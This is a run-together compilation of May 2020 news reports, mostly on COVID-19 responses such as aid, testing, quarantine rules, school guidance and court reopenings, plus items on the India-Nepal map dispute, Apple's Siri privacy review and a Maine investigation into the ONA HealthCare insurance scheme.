"At this very difficult time, the whole world should work together to fight COVID-19," Ambassador Wang Yu said at the handover ceremony attended by Kabul Governor Mohammad Yaqoob Heidari. "The virus respects neither borders nor ethnicities."

"We have proposed to provide 2 billion U.S. dollars over the next two years for the COVID-19 response of those countries without good health systems. Afghanistan would be one of those countries," Wang added. "We will cooperate with government offices, different organizations and Members of Parliament in Afghanistan to help the needy persons of our Afghan brothers and sisters."

"On behalf of the Kabul government and Kabul people, I'd like to thank Ambassador Wang and the people of China for your continuing donations to Afghan people," Governor Heidari said at the ceremony. "This is not China's first donation. During the past 18 years, we have received donations from China in different fields."

The food aid provided by the Chinese Embassy included cooking oil and rice, which were much-needed supplies for the impoverished population in the war-torn country, especially at a time when the fight against COVID-19 has forced many to stay at home.

This is the fourth batch of assistance China has provided to Afghanistan since the outbreak of COVID-19 in the country in February. Other supplies were delivered on April 2, April 23 and May 12 respectively.
Working with the Port Authority of New York and New Jersey on Site Selection to Expand Testing to Other Locations



Announces Brand Launch of XpresCheck, Which Will Operate Under Companys XpresTest Subsidiary

NEW YORK, May 22, 2020 (GLOBE NEWSWIRE) -- XpresSpa Group, Inc. (XSPA) (XpresSpa or the Company), a health and wellness company, today provided a business update related to its objective of pursuing COVID-19 screening and testing in convenient and accessible locations at U.S. airports.

The Company is pleased to announce that it has signed a contract with JFK International Air Terminal LLC (JFKIAT) to pilot test its concept of providing diagnostic COVID-19 tests located in Terminal 4. To facilitate the JFK pilot test, the Company has signed an agreement with JFKIAT for a new modular constructed testing facility within the terminal. The site will host nine separate testing rooms with a capacity to administer over 500 tests per day. The Company intends to offer its services to airline employees, contractors and workers, concessionaires and their employees, TSA officers, and U.S. Customs and Border Protection agents.

All COVID-19 screening and testing will be conducted by a newly launched brand, XpresCheck, which will operate under the Companys XpresTest subsidiary.

The Company is also working closely with the Port Authority of New York and New Jersey to bring XpresCheck locations to other locations. A formal announcement with additional details is expected to be made in the coming weeks in conjunction with the Port Authority of New York and New Jersey and JFKIAT.

In addition, the Company is in discussions with other U.S. airports regarding the temporary conversions of existing XpresSpa locations into XpresCheck testing sites as it looks to roll out this concept further.

The Company also announced the launch of XpresCheck, the operating brand under which the Companys previously formed XpresTest subsidiary will screen and test for COVID-19. Although the JFK pilot test site will be in a newly constructed modular facility, the Company is discussing temporary conversions of existing XpresSpa locations into XpresCheck testing sites as it looks to roll out this concept to other U.S. airports.

Story continues

Doug Satzman, XpresSpa CEO, stated, "We are thrilled to be in a position to launch our first pilot test at JFK Terminal 4 and are hopeful that this will serve as a model in other U.S. airports. The vision and close collaboration with JFKIAT senior leaders have enabled this initiative to move quickly so that we can together support the safety and health of front line airport workers and travelers as New Yorks recovery plan takes form.

About XpresSpa Group, Inc.

XpresSpa Group, Inc. (XSPA) is a health and wellness holding company. XpresSpa Groups core asset, XpresSpa, is a leading airport retailer of spa services and related health and wellness products, with 51 locations in 25 airports globally. XpresSpa offers services that are tailored specifically to the busy travel customer. XpresSpa is committed to providing exceptional customer experiences with its innovative premium spa services, as well as luxury travel products and accessories. XpresSpa provides almost one million services to customers per year at its locations in the United States, Netherlands, and the United Arab Emirates. To learn more about XpresSpa Group, visit www.XpresSpaGroup.com. To learn more about XpresSpa, visit www.XpresSpa.com.

Forward-Looking Statements

This press release may contain "forward-looking" statements within the meaning of Section 27A of the Securities Act of 1933, and Section 21E of the Securities Exchange Act of 1934. These include statements preceded by, followed by or that otherwise include the words "believes," "expects," "anticipates," "estimates," "projects," "intends," "should," "seeks," "future," "continue," or the negative of such terms, or other comparable terminology. Forward-looking statements relating to expectations about future results or events are based upon information available to XpresSpa Group as of today's date and are not guarantees of the future performance of the company, and actual results may vary materially from the results and expectations discussed. Additional information concerning these and other risks is contained in XpresSpa Groups most recently filed Annual Report on Form 10-K, Quarterly Report on Form 10-Q, recent Current Reports on Form 8-K and other Securities and Exchange Commission filings. All subsequent written and oral forward-looking statements concerning XpresSpa Group, or other matters and attributable to XpresSpa Group or any person acting on its behalf are expressly qualified in their entirety by the cautionary statements above. XpresSpa Group does not undertake any obligation to publicly update any of these forward-looking statements to reflect events or circumstances that may arise after the date hereof.

Investor Relations:

ICR

Raphael Gross

(203) 682-8253
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Flags flew at half-staff at the White House, the Capitol and the National Mall to mark the start of three days of commemoration of the victims of coronavirus Friday.

The flags came down after Donald Trump ordered the lowering as the death count passed 95,000, with the likelihood it will hit 100,000 early next week.

He had come under political pressure to mark the deaths from Democratic leaders Nancy Pelosi and Chuck Schumer, who demanded the move.

On a dreary day in the capital, there were only a few passers-by to see the lowered flags; the city remains one of the nation's hotspots and is not going to start reopening until at least next week.

Trump had tweeted on Thursday evening: 'I will be lowering the flags on all Federal Buildings and National Monuments to half-staff over the next three days in memory of the Americans we have lost to the CoronaVirus.'

The president also announced for flags to fly at half-staff on federal buildings and national monuments to commemorate military personnel who have died.

'On Monday, the flags will be at half-staff in honor of the men and women in our Military who have made the Ultimate Sacrifice for our Nation.'

Lowered: The flag over the White House was lowered to half-staff early on Friday and will remain there all weekend, first for the victims of coronavirus, then for Memorial Day

Remembered: As the death toll passed 95,000 and headed towards 100,000, flags were lowered on federal buildings on Friday, Saturday and Sunday in memory of the victims of the virus

View from the north: The lowered White House flag could be see from Lafayette Park

Lowered on the Capitol: The flag to the east portico of the Capitol was lowered Friday morning in line with demands from Speaker Nancy Pelosi

Honor the lost: The deserted Capitol, where the Senate and House are on recess over Memorial Day, had its flags lowered for the first time

Sign of sorrow: The Capitol was one of the federal buildings where flags were lowered in recognition of those who died from coronavirus

Rare jogger: The normally packed National Mall's memorials have all lowered their flags in line with orders from President Donald Trump, including these at the Washington Monument

Mourning in America: Three days of official mourning for the dead of the pandemic started Friday with flags including those at the Washington Monument lowered

Masks: The Washington Monument, where flags were lowered, was virtually deserted Friday, with two e-scooter riders, masks at the ready, passing it

Time to reflect: The Capitol, seen in a puddle of water, was among federal buildings to lower flags

Memorial weekend: Friday, Saturday and Sunday are days of commemoration for the more than 95,000 dead of the pandemic, and Monday is Memorial Day

Half-staff: One of the flags at the Washington Monument is seen lowered

On Thursday, House Speaker Pelosi and Senate Minority Leader Schumer had written to Trump saying that the tribute would serve as a 'national expression of grief so needed by everyone.'

'Our hearts are broken over this great loss and our prayers are with their families,' Pelosi and Schumer wrote.

'Respectful of them and the loss to our country, we are writing to request that you order flags to be flown at half staff on all public buildings in our country on the sad day of reckoning when we reach 100,000 deaths.'

Vice President Joe Biden, the presumptive Democratic presidential nominee, made the same suggestion several weeks ago.

The president has the right to order that flags be flown at half-staff for tragic events and the deaths of notable officials.

The United States has averaged nearly 1,300 coronavirus deaths per day this week.

In New York, flags have been lowered for more than a month in recognition of its status as the worst-affected city and state.

Demand: How the top two Democrats wrote to Trump to ask for lowered flags hours before he ordered the move

Familiar sight in New York: The city and state worst affected by the pandemic ordered lowered flags at the beginning of April
Parents and school officials waved on the sidelines at Veterans Memorial Stadium on Thursday night as the Pasadena ISD Foundation hosted its annual Shining Stars event to honor the top ten graduating seniors from each of the district's seven high schools.

Because of COVID-19 social distancing restrictions, the foundation modified this years event with a drive-through parade recognizing the honor students.
Texas schools that reopen with in-person classes for the 2020-21 school year could start conducting daily temperature checks on students and staff, stagger pick-up and drop-off times and have students eat in classrooms to prevent the spread of the novel coronavirus.

These are just some of the new recommendations released by the Centers for Disease Control and Prevention this week for school systems to consider implementing. The CDC states on its website these guidelines are not required but should be considered and tailored for what is feasible for each school.

TEA UPDATE: Here's what the 2020-21 school year calendar may look like

The CDC recommends staff and students wear cloth face coverings, excluding children younger than 2 years, those with breathing issues and those who are unable to remove a covering without assistance. Other notable guidelines include spacing desks at least 6 feet apart and facing students in one direction, installing physical barriers between bathroom sinks, spacing bus riders six feet apart and closing off playgrounds and cafeterias.

Field trips are not recommended at this time, and school-wide parent meetings, performances and student assemblies should be held virtually instead of in-person.

Schools should reevaluate sick leave and absenteeism policies and consider not having perfect attendance awards so employees and students are not penalized for staying home if they come into contact with the virus or have to care for someone who has it.

Teachers should discourage sharing items among students and keep children's belongings separated in labeled containers. High-touch surfaces, buses and playground equipment should be routinely cleaned and disinfected.

ON HOUSTONCHRONICLE.COM: Texas schools can re-open for summer classes under safe distancing practices

The CDC says broadcasting regular COVID-19 announcements on PA systems and posting signs that promote personal hygiene and frequent handwashing are important to keep students up to date on the virus, but also recommends encouraging students and staff to take breaks from the COVID-19 news cycle.

Texas schools may resume in-person summer classes starting June 1 as part of Gov. Greg Abbott's phased reopening plan. But many area school districts have yet to announce plans on when they may resume in-person classes and are in the process of considering calendar changes after the Texas Education Agency released a new year-round calendar. That calendar adjustment calls for longer breaks, earlier start and later end dates and would help plan for a possible spike in COVID-19 cases.

Find a complete and detailed list of the new school guidelines on the CDC's website.

Rebecca Hennes covers community news. Read her on our breaking news site, Chron.com, and on our subscriber site, houstonchronicle.com. | rebecca.hennes@chron.com
New Delhi: There is tension between India and Nepal apart from India-China border dispute. Under the new border dispute, Nepal has also shown some Indian areas in its new political map. The Indian Foreign Ministry has termed it a one-sided action on this dispute.

On Thursday, the Indian Ministry of External Affairs, on the amendment of the political map on behalf of Nepal, said that this amendment action is one-sided, it will not be accepted by us. It is expected that the Nepalese leadership will create a positive atmosphere for diplomatic dialogue with New Delhi. Earlier, on Wednesday, the Indian Ministry of External Affairs had asked Nepal to respect India's sovereignty over the amendment in the map of Nepal. Foreign Ministry spokesman Anurag Shrivastava had said, 'We urge the Government of Nepal to refrain from publishing such artificial cartographic. It should respect the sovereignty and territorial integrity of India.

From the Indian side that the Nepal government should consider its decision once again. The Foreign Ministry spokesman said that the Government of Nepal is fully aware of India's position in this regard. A few days ago the Nepal government released its new political map, in which it showed the Kalapani, Lipulekh and Limpiyadhura areas of India within its border.

This is not the time to build Ram temple: Sanjay Raut after ancient idols remains found in Ayodhya

Venezuela support Iran in fight against America

America slams Pak over terrorism, this warns this
NYC DOITT Turns to Twilio for Contact Tracing Program

By Maurice Nagle - Web Editor

Cloud adoption came as no surprise with the quarantine. Businesses had no choice but to rapidly galvanize operations to support the WFH reality. And now, as the world begins to reopen, the cloud is assisting in the return to normalcy.

The New York City Department of Information Technology and Telecommunications (DOITT) announced the selection of Twilio for SMS and Voice as part of its COVID-19 tracing program.

The DoITT will leverage the Twilio Flex platform to provide remote contact tracers with a tool to interview patients, notify contacts and send symptom survey reminder. The multichannel solution offers automation capabilities and integration with public health data systems.

"Throughout this pandemic, the ability for businesses and government agencies to quickly spin up and iterate ways to engage customers and constituents has never been more important," said Twilio COO George Hu. "New York City's contact tracing solution makes it possible for the city to connect with and support residents with COVID-19 and keep their known contacts safe and informed."

New York State has been aggressive in its efforts to combat COVID-19, Governor Cuomo huddled with top tech firms to create a SWAT Team back in March. Twilio is building on its cloud communications roots during the pandemic working to enable telehealth solutions.

Are your communications in the cloud, yet?

Please enable JavaScript to view the

Edited by Maurice Nagle
Four more people tested positive for COVID-19 in Uttar Pradesh's Muzaffarnagar, taking the total number of active cases in the district to 15, an official said on Friday.

The four new patients are migrant workers; three of them had recently returned to the district from Mumbai and one from Ahmedabad, said Muzaffarnagar DM Selva Kumari J.

She said the workers were staying at a quarantine centre in Baghra.

The authorities had sent 136 samples for COVID-19 testing and four of them, belonging to the migrant workers, came back positive, the district magistrate said.

The remaining 132 came back negative for the novel coronavirus, she added.

Meanwhile, Ladhawala in the district has been sealed after an ambulance driver from the locality was found COVID-19 positive on Thursday, officials said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Reuters

Ireland's Data Protection Commissioner (DPC), Apple's main regulator in the European Union, on Thursday said it was in contact with the company after a whistleblower called for action over a programme that listens to users' recordings.

The regulator acted after Thomas Le Bonniec, a former Apple contractor, wrote to European data protection regulators on 20 May to push for investigations into these practices.

"The DPC engaged with Apple on this issue when it first arose last summer and Apple has since made some changes," Graham Doyle, Deputy Commissioner at the Irish DPC, said in an emailed statement to Reuters.

"However, we have followed up again with Apple following the release of this public statement and await responses," he said, in reference to the letter. "In addition, it should be noted that the European Data Protection Board is working on the production of guidance in the area of voice assistant technologies."

Apple did not immediately respond to a request for comment on Thursday.

Apple said last year it would quit its default practice of retaining audio recordings of the requests users make to its Siri personal assistant and limit human review of what audio it does collect to its own employees rather than contractors.

Le Bonniec's letter, seen by Reuters, which was published on Thursday, said in reference to EU data protection laws: "Passing a law is not good enough: it needs to be enforced upon privacy offenders."

Le Bonniec worked as a subcontractor for Apple in its Irish offices, he said in the letter.
A glamorous influencer has sparked outrage by claiming to auction off her virginity to raise funds for those impacted by COVID-19.

Indonesian Instagram model, Sara Keihl, uploaded a video this week saying she was willing to sell her virginity for a starting price of two billion Indonesian rupiahs or AUD$206,855.

She told her followers that all proceeds would go toward helping coronavirus frontline workers and those who were economically affected by the COVID-19 pandemic, Coconuts.co reported.

Indonesian influencer Sara Keihl (pictured) sparked outrage when she claimed she would be auctioning off her virginity to raise money for those impacted by COVID-19

Ms Keihl (pictured) uploaded a video that asked for a starting price of AUD$206,855

The influencer (pictured) received harsh criticism and major backlash over the video

Ms Keihl immediately received harsh criticism and was slammed for being 'desperate' with viewers labelling the video as 'online prostitution'.

The backlash forced Ms Keihl to clarify the video was actually a joke and she was not auctioning off her virginity.

She said the stunt was meant to be an ironic jab at people who were not taking the coronavirus crisis seriously.

The influencer made an apology post yesterday and wrote: 'I'm sorry for creating the controversy.

'In truth, the virginity auction was my idea of satire of those who aren't sensitive to the situation.'

Ms Keihl said she realised the severity of her actions after her family began to receive abuse over the video.

The influencer said she would make a donation of 1,000 grocery and basic items paid for with her own money.

'I have never sold myself or my dignity,' Ms Keihl clarified.

The model primarily uses her Instagram account to post a range of glamorous selfies and promote skincare, clothing and beauty products.
The Delhi High Court Friday sought response of the Centre on a plea for early hearing on a petition seeking setting up of a judicial commission to look into the violence of Jamia Millia Islamia University protests against the Citizenship (amendment) Act (CAA) last December.

A bench of Chief Justice D N Patel and Justice Prateek Jalan, which conducted the hearing through video conferencing, asked the government and Delhi Police to file their reply to the plea and listed the matter for further hearing on June 5.

The application has sought preponement of hearing of the petition which is fixed for July.

The application was filed in a pending petition by advocate and petitioner Nabila Hasan in which she has sought action against the police for brutally attacking the petitioners, students and residents of Jamia Millia Islamia and against the ruthless, and excessive use of force and aggress unleashed by police and paramilitary forces on students within the university.

The plea, filed through advocate Sneha Mukherjee, said the government imposed complete lockdown across the country on March 24 due to the spread of coronavirus during which movement of people is restricted, however, several students from the university have been called to the police station and crime branch.

It said the students are made to sit there for hours in the name of investigation being conducted by the police and the harassment of the students at the hand of the Delhi Police has not stopped even with the current situations in the country.

The high court had earlier issued notice to the Centre, AAP government and police on the petition and sought their responses.

Besides, various other petitions were also filed, including by lawyers, students of JMI, residents of Okhla where the university is located and the Imam of Jama Masjid mosque opposite Parliament House, and they sought action including medical treatment and compensation for the students and registration of FIRs against the erring police officers.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)


WASHINGTON (dpa-AFX) - Coronavirus infection rate rose for the third consecutive day in the United States.



With more than 25000 new cases reporting in the last 24 hours, the total number of infections in the country rose to 1,577,758 as of John Hopkins University' 6:00 a.m. ET update Friday.



With an additional 1286 deaths, the total death toll in the U.S. reached 94729.



In New York, more than 356,000 cases have been reported and 28,743 have died so far.



When adjusted for population, that translates to about 1,832 known cases and 148 deaths for every 100,000 residents in the state, according to CNN.



This is higher than the total numbers in both categories reported in Spain, the world's third worst affected country.



As the numbers are receding in the state, drastic fall in patients was reported in New York City hospitals.



The death toll in New Jersey, the second worst-affected state, reached 10,846. A total of 151,586 infections have been reported so far there.



Michigan (5129 deaths, 53510 infections), Massachusetts (6148 deaths, 90084 infections), Louisiana (2629 deaths, 36504 infections), Illinois (4607 deaths, 102688 infections), Pennsylvania (4869 deaths, 69252 infections), California (3604 deaths, 88480 infections), Connecticut (3583 deaths, 39208 infections), Texas (1460 deaths, 53053 infections), Georgia (1775 deaths, 40663 infections), Maryland (2159 deaths, 43531 infections), Florida (2144 deaths, 48675 infections), Indiana (1913 deaths, 29936 infections), Ohio (1837 deaths, 30167 infections) and Colorado (1310 deaths, 23191 infections) are the other worst-affected states.



Meanwhile, President Donald Trump ordered the national flag to be lowered to half-mast for three days in honour of U.S. citizens who lost their lives due to coronavirus. This was a demand raised firt by the Democrats.



While touring a Ford Motor Co. plant in Michigan Thursday, Trump said he is not going to close the country if a second wave of coronavirus outbreak hits later this year.



Addressing workers at the plant, Trump said he is fighting to bring back U.S. jobs from China and many other countries.



Copyright RTT News/dpa-AFX

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A fourth-year student of the All India Institute of Medical Sciences (AIIMS), Rishikesh was suspended and asked to vacate the hostel on Thursday evening, a day after he was arrested for allegedly putting up an objectionable post about Hindu gods on social media.

Manoj Gupta, dean of academics at AIIMS Rishikesh, said the college has initiated an inquiry into the matter.

We came to know that the boy had posted something on Facebook which was religiously objectionable and we have initiated an inquiry into it. As of now, the boy has been suspended. We are looking into the matter and will take strict action, said Gupta.

Gupta said the student is undergoing treatment for a psychiatric illness.

Parmendra Dobhal, superintendent of police for rural Dehradun, said the student was arrested on Wednesday after a local resident lodged a complaint that he had allegedly put up a post on social media to incite religious sentiments.

A medical student from AIIMS Rishikesh was arrested by the police on Wednesday after he had posted some obscene religious content on social media. He was later released following notice to him under CrPc section 41, said Dobhal.

A first information report (FIR) was registered and the student was booked under Section 153(A) (promoting enmity between different groups on grounds of religion) and 295(A) (deliberate and malicious intention of outraging the religious feelings of any class of citizens of India) of the Indian Penal Code (IPC) and Section 67 of the IT act.

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All international arrivals, including returning Britons, to self-isolate and provide details of their stay.

Britain will introduce a 14-day quarantine for travellers arriving from abroad from June 8, interior minister Priti Patel said, with the government warning that anyone breaking the rules would face a fine or prosecution.

All international arrivals, including returning Britons, will have to self-isolate and provide details of where they will be staying under the plans, which were criticised by airlines, business groups and politicians alike.

Now we are past the peak of this virus, we must take steps to guard against imported cases triggering a resurgence of this deadly disease, Patel said at a news conference.

We are not shutting down completely. We are not closing our borders.

Those who breached the quarantine in the United Kingdom could be fined 1,000 UK pounds ($1,218), and spot checks would be carried out by health and border officials.

The quarantine will not apply to those arriving from the Republic of Ireland, nor to freight drivers, medical professionals or seasonal agricultural workers. The measures will be reviewed every three weeks.

But French officials reacted with regret, with the interior ministry in Paris saying it was considering imposing reciprocal measures against arrivals from the UK.

The UK has recorded the highest number of deaths in Europe from coronavirus, with more than 36,000 people who have tested positive having died so far.

But the quarantine move is controversial, especially with the aviation sector, where flights have been grounded and passenger numbers slumped during lockdown measures.

Ryanair boss Michael OLeary this week branded a proposed quarantine plan idiotic and accused ministers of making it up as they go along.

Virgin Atlantic said quarantine would prevent services from resuming and claimed there simply wont be sufficient demand to resume passenger services before August at the earliest.

Trade body Airlines UK has said it would effectively kill international travel to the UK.

Others have questioned why Britain did not introduce quarantine earlier, like countries such as South Korea, Spain and the United States.

Ireland also imposes measures

In addition to Britain, travellers arriving in Ireland from next week will also be legally required to inform the government where they will quarantine for 14 days to prevent the spread of coronavirus, Minister for Health Simon Harris said on Friday.

These are extraordinary measures but they are necessary in a time of a public health crisis, said Harris in a statement.

From Thursday until at least June 18, those arriving in the Republic of Ireland will be legally required to complete a form noting the address where they will self-isolate for two weeks.

Failure to complete the form will carry a penalty of up to 2,500 euros ($2,725) and/or up to six months imprisonment.

All nationalities will be required to provide information, including those coming from neighbouring Britain.

Ireland has suffered 1,592 deaths from coronavirus according to the latest department of health figures. Recorded daily deaths peaked at 77 on April 20 but on Friday, the figure had fallen to 11.
Kaiser Health News

Jill Goodridge was shopping for affordable health insurance when a friend told her about ONA HealthCare, a low-cost alternative to commercial insurance.

The self-described health care cooperative promised a shield against catastrophic claims. Its name suggested an affiliation with a Native American tribe  a theme that carried through on its website, where a feather floats from section to section.

The company promises 24/7 telemedicine and holistic dental care on its website. It says it provides more nontraditional options than any other health care plan, including coverage for essential oils , energy medicine and naturopathic care. All of that and conventional care, too.

It struck Goodridge as innovative. She signed up for a high-deductible plan, paying more than $9,000 in premiums and fees over 13 months, she said. Yet she could not get ONA to cover her familys medical bills. For example, ONA applied only a small portion of more than $6,000 in hospital-related bills against her $10,000 deductible.

It almost seemed like we were just spending the premium money every month for really not much, said Goodridge, whose family runs a Rockland, Maine, restaurant that is temporarily shuttered because of the coronavirus pandemic.

A year-long investigation by the state insurance agency prompted by her complaint concluded she was right, uncovering a business scheme operating in the gray areas of insurance regulation and tribal law to appeal to patients looking to save money on health care.

Hers is a cautionary tale for anyone looking for cut-rate coverage at a time when the cost of commercial insurance is rising and a wide range of alternatives are on offer.

Tempting low premiums may mean skimpy coverage with huge out-of-pocket expenses.

Health insurance is getting so expensive people are looking for other options, Maine insurance Superintendent Eric A. Cioppa said. We tell everybody that if you do business over the internet to call us first and make sure its licensed.

ONA stood out, with a polished website featuring its story of holistic health and sun-dappled photographs. The sales pitch: Were here to guide you to a new way for your mind, body, and soul.

Goodridge felt led astray.

The company claimed Native American ties that would exempt it from state insurance regulations because of tribal sovereignty, which gives federally recognized tribes the authority to self-govern outside of state or federal law. ONA claimed it did not have to adhere to federal insurance requirements, such as guaranteeing standard coverage or maintaining a designated level of funds in reserve to pay claims.

ONA HealthCare appears to be the first insurer to claim that Native American status exempted it from oversight, according to the National Association of Insurance Commissioners.

The company advertised it was comfortably nestled under a Native American tribal corporate umbrella and protected by the many rights and privileges that Native American Indians enjoy today.

It sent its customers a tribal membership ID & benefits card. And it said it derived its status from an affiliation with the United Cherokee Nation-Aniyvwiya. That tribe is not one of the three federally recognized Cherokee tribes.

But the troubles with ONA went deeper than that, Cioppa and his team discovered during a year-long investigation. Along with serious doubts that anyone involved with ONA had valid Indigenous roots, there were financial irregularities, allegations of embezzlement and phony professional credentials.

The more we found out, Cioppa said, the more we wanted to keep digging.

There was much about Goodridges new coverage that seemed unorthodox to the investigators.

She paid a tribal membership fee of $165, which the company said was a tax-deductible contribution to an unspecified Native American tribe. In addition to traditional medicine, ONA said, its members could seek care at Native American Tribal Healing Centers nationwide, though it did not identify the centers or their locations. Goodridge also paid a family premium of $751 a month for 13 months before canceling, according to her testimony before the Maine Bureau of Insurance.

Stranger still, investigators found that ONA required physicians to pay $485 a year to join its network. Her doctor declined.

On top of that, Goodridge testified, the plan did not pay out when needed, including much of that $6,000-plus hospital bill.

It turned out, that was not uncommon for a company that describes its services as low cost, high value. According to a state inspection of ONAs unaudited books in fall 2019, the plan spent an unusually low amount of the $2.5 million it collected in premiums to cover customers medical bills  just 13% or less. Under federal law, most insurers spend 80% or more on benefits for subscribers.

However low its prices may be, the value it delivers is even lower, Cioppa wrote in his December order.

Cioppa told KHN that state investigators could not determine the full scope of the operationpartly because ONA, which boasted an open provider network across all 50 states, refused to tell them how many members it had signed up nationwide. It covered only 27 people in Maine.

ONAs bookkeeping also turned out to be suspect. Maine investigators observed that in 2019 ONA paid few medical bills and didnt keep enough cash on hand to handle even a couple of catastrophic illness claims, a violation of state insurance regulations.

Ultimately, Cioppa ruled that ONA had illegally operated an insurance company, falsely advertised its benefits and failed to set aside adequate reserves to pay claims.

ONAs CEO, L.J. Fay, said the company is working hard to overcome past mistakes, noting: We plan to make everything right. That is the ultimate goal.

But in the meantime, Cioppa has prohibited ONA from selling policies in the state.

Over the years, Benjamin Zvenia has presented himself at various times as a doctor, a lawyer and a tribal judge. ONA was described by the United Cherokee Nation-Aniyvwiya as Zvenias brainchild, according to the Maine insurance bureau order.

He has a paper trail of criminal and civil infractions dating to the early 1990s, government records show.

In a sworn statement filed in Maine, Zvenia said he was a member and administrative tribal judge of the Nottoway Tribal Community Meherrin Band of North Carolina. That tribe is not among the 573 recognized by the federal government.

Zvenia also told Maine officials he served on the board of directors of Tribal Active Management Services, ONA HealthCares parent company, but had not been paid for his voluntary services and had no responsibility for day-to-day operations. In a sworn statement, Zvenia denied playing a major role in ONA. He did not respond to repeated requests for comment for this story.

Zvenia, in fact, has a criminal conviction in Nevada for practicing medicine without a license, which prohibits him from overseeing an insurance company, according to Maine officials. He was sentenced to six years in prison, court records show.

In his statement, Zvenia wrote, There was a crime, and I did the time. My previous history may be public information, but it is not part of my accomplishments today.

Zvenias legal work also has drawn scrutiny. In March 1999, the Nevada Supreme Court removed him from a list of non-attorney arbitrators, citing his undisclosed criminal conviction. A State Bar of Nevada investigation found Zvenia had applied to practice in immigration court, claiming to hold a law license issued by the Supreme Court of the Federated States of Micronesia. But the state bar checked with Micronesia, and it could not verify his claims.

Zvenia also told a state bar investigator that he graduated from the Kensington College School of Law in California. The college said Zvenia had applied in June 1994 but never completed enrollment, according to an exhibit filed with the Nevada Supreme Court order.

A founder of ONA HealthCare was Alan Boyer, a Utah musician who said he was a member of the Cherokee Nation. He was born in West Yorkshire, England, and emigrated to the U.S. in 1998, when he was nearly 40 years old.

Boyer was a founder of a British-style brass band in Utah but also dabbled in the holistic healing arts and naturopathic products before his death in December 2018 from cancer at age 59. In one promotional video for ONA, Boyer, who spoke with a pronounced British accent, said the word ONA means new beginnings.

One of Alans greatest achievements in his later years was acceptance as a sovereign member of the great Cherokee Nation, reads an online obituary entered into the record in the Maine proceeding.

Maine regulators had their doubts: It does not appear from the record that any Native Americans have been involved at any time in the establishment, management or operation of ONA, reads the state order.

Lisa Hughes, the former CEO of ONA and a resident of the Salt Lake City area, also raised Maine regulators eyebrows. Investigators found Hughes online resume shows more than a decade of experience in rocket engineering and consulting work in Utah. She recently told Maine officials she had been hired at ONA because of her prior experience in systems development and cashflow analysis.

In an affidavit and other legal filings filed in January, Hughes asserted she worked for ONA for several years with no or very reduced salary before the company suspended her in July 2019 amid a corporate power struggle. The next month, ONA sent her a letter from a law firm accusing her of embezzling $295,000, filings in the Maine investigation show.

In her affidavit, Hughes said ONA concocted the embezzlement accusations for purposes of smearing me and making me the scapegoat for ONAs legal formation and structure.

In his December order, Cioppa gave the insurer until Jan. 21 to create a $100,000 fund to satisfy any outstanding medical claims. ONA failed to do so, and now state officials are seeking a $450,000 penalty, though they arent optimistic about collecting it.

Today, ONA has promised to reinvent itself as a different type of insurance company, according to CEO Fay. She said in an affidavit that it is anticipating a capital infusion of as much as $120 million and has $500,000 in reserves in a money market account in a Salt Lake City bank. She also indicated the company would file for a license to legally operate in Maine. So far, that has not happened.

Zvenia is still active online, offering professional and consulting services through Zvenia and Associates in Las Vegas, which says on its website that it is a law firm guided by Benjamin Zvenia, Dr PH, JD. The site posts a disclaimer: All Nevada State legal matters are referred out; our lawyers & advocates are not licensed to practice Nevada State law.

ONA presents a new wrinkle in an ongoing conflict: The states regulate insurance but the internet allows for nationwide sales, leaving consumers basically on their own.

Goodridge, the Maine consumer who sparked the investigation, said in an interview that she holds little hope of getting any money back. But she has kept other Mainers from the same troubles.

Though ONA health plans are still available in many states, its website notes that coverage is not available in Maine.

This article originally appeared on Kaiser Health News on May 20, 2020.

Thumbnail photo by Andreas Wagner

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Nursing Homes Ireland (NHI) has called for a Covid-19 testing roadmap to clarify the testing regime that will be required to protect staff and residents in nursing homes over the next 18 months.

The European Centre for Disease Prevention and Control (ECDC) published new guidance this week on long-term residential facilities which recommended that residents are screened daily for symptoms of Covid-19 and that they be periodically tested.

The ECDC guidance also recommended that staff be tested at regular intervals, either weekly or bi-weekly, and that regular visitors to nursing homes should also be considered for testing.

NHI Chief executive Tadgh Daly said the nursing home sector needs a roadmap for testing in the longer term given that Covid-19 is expected to pose challenges for the next six to 18 months.

New guidance was issued by the ECDC this week for longterm residential facilities and that suggests weekly testing for staff and that is something we would advocate, Mr Daly said.

We need a practical plan or roadmap for testing so that we know who will get tested, how often they will get tested and who will carry out the testing, he added.

It may be too early, he said, to lift visitor restrictions at nursing homes but a conversation needs to start on the issue.

We dont see it changing in the immediate future but we need to plan for it and start that conversation," he said.

Meanwhile the National Public Health Emergency Team has set up an expert advisory group, which will make recommendations to the Health Minister on the long-term management of Covid-19 in nursing homes, by the end of June.
Courts across the Philadelphia region, which have been largely shut down since the coronavirus took hold in March, are planning to resume varying levels of activity starting in June.

Many of the proceedings will be aided by phone or videoconferencing  a relative leap forward for institutions often slow to embrace new technologies. Proceedings in Pennsylvania had previously been barred from being recorded on audio or video, but that dam was at least partially breached this week when the state Supreme Court, for the first time in its 298-year history, held remote oral arguments streamed on YouTube.

In coming weeks, court officials in Philadelphia aim to start holding preliminary hearings via videoconference, Common Pleas Court President Judge Idee C. Fox said in an interview  a key step in allowing criminal cases to begin to move through the system again.

Chester County plans toresume nearly all normal court operations beginning on June 2, said Patricia L. Norwood-Foden, the countys district court administrator.

And in two New Jersey counties  Mercer and Bergen  a pilot program to hold remote grand jury proceedings could be launched as early as next week, according to court officials.

 READ MORE: With the pandemic, a possible end to a program that gives immigrants a fighting chance in court

The relative steps forward will help unclog a backlog of cases after a two-month slowdown. Court officials in several counties declined to quantify the scale of the issue; Fox said thinking about the numbers gave her nightmares.

William J. Brennan, a Philadelphia defense attorney, said resuming court functions was important for all citizens, not only those involved in criminal cases or civil litigation.

The legal system is designed to resolve a host of contentious issues and disputes. The longer the system remains shut down, he said, you have no machine to deal with those issues, thereby setting the entire societal balance off-kilter.

 FAQ: Your coronavirus questions, answered.

Even as the wheels of justice churn with more speed, there will be one notable exception: Jury trials remain suspended in Pennsylvania and New Jersey, and no one is certain when it might be safe to gather 12 strangers in a courtroom alongside lawyers, defendants, sheriffs, a judge, and court staffers.

Fox said court administrators across the state have been discussing ideas as unusual as staging jury selection in gymnasiums.

Important as they are, jury trials represent a fraction of court business. Heres how some counties in the region are planning to move forward on other aspects of their operations.

Philadelphia

Fox said the citys court system was hoping to use June as a test period" for getting back up to speed.

In criminal court, for example, lawyers and judges will begin holding hearings to take stock of pending cases and determine how to move them toward resolution. Lawyers will be allowed to appear in person or remotely, Fox said.

